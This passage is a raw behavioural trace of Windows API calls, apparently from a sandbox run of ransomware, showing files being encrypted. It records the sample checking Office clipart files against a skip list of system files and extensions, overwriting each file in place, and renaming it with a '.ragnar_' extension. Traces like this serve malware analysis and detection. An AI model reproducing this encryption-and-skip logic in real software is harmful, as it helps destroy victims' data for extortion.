ftLastWriteTime.dwLowDateTime=0x80cfde00, ftLastWriteTime.dwHighDateTime=0x1bf3242, nFileSizeHigh=0x0, nFileSizeLow=0x284c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01548_.WMF", cAlternateFileName="")) returned 1 [0082.292] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.292] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD01548_.WMF" | out: lpString1="FD01548_.WMF") returned="FD01548_.WMF" [0082.292] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned=".WMF" [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="autorun.inf") returned 1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="boot.ini") returned 1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="bootfont.bin") returned 1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="bootsect.bak") returned 1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="bootmgr") returned 1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="bootmgr.efi") returned 1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="desktop.ini") returned 1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="iconcache.db") returned -1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="ntldr") returned -1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="ntuser.dat") returned -1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="ntuser.ini") returned -1 [0082.292] lstrcmpiW (lpString1="FD01548_.WMF", lpString2="thumbs.db") returned -1 [0082.292] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.292] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.292] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.292] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.292] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.292] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.292] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.292] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x20 [0082.293] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.293] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10316) returned 1 [0082.293] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2843, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.293] GetProcessHeap () returned 0x580000 [0082.293] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.293] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.294] VirtualAlloc (lpAddress=0x0, dwSize=0x284c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.294] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.295] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.295] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x284c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x284c, lpOverlapped=0x0) returned 1 [0082.295] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.296] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x284c, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.296] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x284c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x284c, lpOverlapped=0x0) returned 1 [0082.296] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x284c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.296] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.296] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x284c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.296] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.296] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.296] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.296] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.296] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.296] GetProcessHeap () returned 0x580000 [0082.297] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.297] CloseHandle (hObject=0xf4) returned 1 [0082.297] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" [0082.297] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.ragnar_FD7BD9FC" [0082.297] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.297] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4fe7000, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4fe7000, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x76ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01657_.WMF", cAlternateFileName="")) returned 1 [0082.297] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.297] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD01657_.WMF" | out: lpString1="FD01657_.WMF") returned="FD01657_.WMF" [0082.297] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned=".WMF" [0082.297] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.297] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="autorun.inf") returned 1 [0082.297] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="boot.ini") returned 1 [0082.297] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="bootfont.bin") returned 1 [0082.297] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="bootsect.bak") returned 1 [0082.297] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="bootmgr") returned 1 [0082.297] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="bootmgr.efi") returned 1 [0082.297] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.297] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="desktop.ini") returned 1 [0082.298] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="iconcache.db") returned -1 [0082.298] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="ntldr") returned -1 [0082.298] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="ntuser.dat") returned -1 [0082.298] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.298] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="ntuser.ini") returned -1 [0082.298] lstrcmpiW (lpString1="FD01657_.WMF", lpString2="thumbs.db") returned -1 [0082.298] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.298] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.298] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.298] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.298] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.298] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.298] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.298] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x20 [0082.298] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.298] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=30414) returned 1 [0082.298] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x76c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.298] GetProcessHeap () returned 0x580000 [0082.298] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.298] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.300] VirtualAlloc (lpAddress=0x0, dwSize=0x76ce, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.300] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.300] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.300] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x76ce, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x76ce, lpOverlapped=0x0) returned 1 [0082.302] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.302] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x76ce, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.302] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x76ce, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x76ce, lpOverlapped=0x0) returned 1 [0082.302] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x76ce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.302] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.302] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x76ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.302] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.302] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.302] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.303] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.303] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.303] GetProcessHeap () returned 0x580000 [0082.303] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.303] CloseHandle (hObject=0xf4) returned 1 [0082.303] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" [0082.303] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.ragnar_FD7BD9FC" [0082.303] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.303] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb44f00, ftCreationTime.dwHighDateTime=0x1bd4c0c, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4eb44f00, ftLastWriteTime.dwHighDateTime=0x1bd4c0c, nFileSizeHigh=0x0, nFileSizeLow=0x4604, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01658_.WMF", cAlternateFileName="")) returned 1 [0082.303] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.303] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD01658_.WMF" | out: lpString1="FD01658_.WMF") returned="FD01658_.WMF" [0082.303] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned=".WMF" [0082.303] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0082.303] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="autorun.inf") returned 1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="boot.ini") returned 1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="bootfont.bin") returned 1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="bootsect.bak") returned 1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="bootmgr") returned 1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="bootmgr.efi") returned 1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="bootmgfw.efi") returned 1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="desktop.ini") returned 1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="iconcache.db") returned -1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="ntldr") returned -1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="ntuser.dat") returned -1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="ntuser.dat.log") returned -1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="ntuser.ini") returned -1 [0082.304] lstrcmpiW (lpString1="FD01658_.WMF", lpString2="thumbs.db") returned -1 [0082.304] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0082.304] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0082.304] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0082.304] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0082.304] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0082.304] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0082.304] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0082.304] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x20 [0082.305] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0082.305] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17924) returned 1 [0082.305] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x45fb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.305] GetProcessHeap () returned 0x580000 [0082.305] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0082.305] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0082.307] VirtualAlloc (lpAddress=0x0, dwSize=0x4604, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0082.307] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.307] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0082.307] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4604, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4604, lpOverlapped=0x0) returned 1 [0082.308] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0082.308] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4604, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.308] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4604, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4604, lpOverlapped=0x0) returned 1 [0082.308] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4604, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.308] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0082.308] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.309] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0082.309] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.309] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0082.309] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0082.309] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0082.309] GetProcessHeap () returned 0x580000 [0082.309] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0082.309] CloseHandle (hObject=0xf4) returned 1 [0082.309] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" [0082.309] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.ragnar_FD7BD9FC" [0082.309] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0082.310] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02ca800, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf02ca800, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x79cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD01659_.WMF", cAlternateFileName="")) returned 1 [0082.310] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0082.310] lstrcpyW (in: lpString1=0x1eb62e, lpString2="FD01659_.WMF" | out: lpString1="FD01659_.WMF") returned="FD01659_.WMF" [0082.310] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF") returned=".WMF" 